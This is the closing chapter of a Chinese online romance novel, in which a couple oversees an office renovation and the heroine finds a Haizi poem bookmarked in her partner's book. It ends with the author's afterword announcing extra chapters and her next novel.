谈丹青又忍不住笑,说:“那你快攒钱吧!” “好。”绪东阳莞尔。 围观人群莫名其妙地开始鼓掌。 谈小白因为白眼翻太多了,眼睛发酸,于是闭上眼睛揉鼻梁。 谈丹青推了推绪东阳,说:“快上车快上车!!” 这年的七月,是谈丹青来广东后最热的一个夏天。 公司买了新的办公楼,内部重新翻修,绪东阳刚好盯着。他对这件事很上心,一直在到处跑装修市场。知道的是他做事认真负责,不知道的,还当是在装修婚房。 “这一面要用天然大理石板,不要用xxx板。”绪东阳跟设计师沟通。 “阳哥,你要的这种石板实在是太难找了,我们找到了几样类似的,你看能不能替代一样?” 好多种材料一左一右同时放在谈丹青面前,谈丹青一头雾水,说:“这颜色不都是差不多吗?都是白色。” “丝绸和麻布不也都是白色。”绪东阳说。 昨天谈丹青跟供货商打电话,就在布料材质上认死理,把工厂老板都给搞抑郁了。 谈丹青果然瞪圆眼,“当然不一样。” “这两种材料的区别,就和丝绸跟麻步一样大,”绪东阳说:“单看装修材料质地,看起来似乎区别很细微,但一装上差别就出来了。” “这种颜色浅一些,这款颜色深一些,这款颜色表面光滑,所以会造成漫反射,房间里的光就会很亮,显得廉价。大理石板的表面很粗糙,反射光温和,看起来更有高级感。” “我再找找吧。”设计师直擦汗。 绪东阳说:“麻烦你了。” 绪东阳一直惦记这事,谈丹青见他又要上班又要跑装修,看不下去,抬手碰了碰他的发尾,说:“你把自己搞这么累做什么?莫非你是想篡我的位?” 绪东阳继续全神贯注地看家具厂广告,一面捉谈丹青的手过去吻她的手背,然后在她戒指的地方捏了捏。 “不知道为什么,”绪东阳说:“跑装修的时候,心里总很满足。说矫情点,好像在用一块砖,一片瓦,搭起我们的未来一样。” 这番话让谈丹青也有些动容,她其实没那么在乎新办公室豪不豪华,上不上档次。她是从泥巴里爬出来的。她的第一间“办公室”,是菜市场裁缝阿姨均给她的半张桌子。她在哪儿都能打拼。但现在,他也开始期待起新的办公室,因为这里将会注入他们共同编织的美梦。 谈丹青勾住绪东阳的脖颈,低头吻他。 绪东阳昂首,温热的唇吮在她的唇尖。她被吻得有些发麻,站不稳地往后踉跄。 这时绪东阳的手机响了。 两人谁都不想管,但铃声锲而不舍。 绪东阳不耐烦地抬手锁屏,找键位时,看了一眼屏幕上的来电显示,突然停住,说:“这个电话要接一下。” “阳哥,你要的是天然大理石板是吧?找到了几块,你来看一下纹路呗。” “好。” 挂了电话,绪东阳又探头吻了吻谈丹青,说:“我去看一眼,晚上回来。” “好吧。”谈丹青悻悻然地叹了口气。 绪东阳又捏上她的下巴亲了最后一下,泄愤似的说:“等我回来。” 谈丹青失笑,说:“好啦,快去吧。” 绪东阳走后,谈丹青在椅子上伸了个懒腰。 这就是资本家的生活吗? 有打工人可奴隶,于是她便无所事事…… 她在屋里转了一圈。 书房兼会客区的一角,一张宽大的胡桃木书桌上放着文件和书册。 绪东阳将他平时读的书带回了家,走时走得急,书便乱糟糟地堆在桌上。 最面上的一本书绪东阳应该时常翻阅。 书脊上有明显的折痕,一道折痕很深,几乎像是用刀背砍断。 谈丹青一翻开,便翻到了绪东阳最常看的这一页。 一枚硬质的、边缘锐利的书签卡在那里,像一道隐秘的界碑。 那是海子的一首诗: 姐姐,今夜我在德令哈,夜色笼罩 姐姐,我今夜只有戈壁草原尽头我两手空空 悲痛时握不住一颗泪滴 姐姐,今夜我在德令哈 这是雨水中一座荒凉的城除了那些路过的和居住的 德令哈……今夜 这是唯一的,最后的,抒情。 这是唯一的,最后的,草原。 我把石头还给石头 让胜利的胜利 今夜青稞只属于她自己 一切都在生长 今夜我只有美丽的戈壁 姐姐, 今夜我不关心人类, 我只想你- 正文完- 20250727 【作者有话说】 呼呼呼! 贝贝们,这篇文就到此结束啦! 后面会再更新一些甜蜜日常相处的番外, 还有一位贝贝提议的高中if线。 最后再额外送全订的贝贝们几万字的免费番外。 很感谢大家支持正版! 这两天我打算整理整理思路, 在wb上写一篇完结总结。 姐弟恋这个题材应该是冰冻区,一直没什么信心,好在这一路有大家的陪伴! 鞠躬! Thanks(ω) * 下一本会更《于黎明时热吻》,这篇就纯放松小甜文,没什么事业线和波折了。 希望大家能点点收藏[让我康康]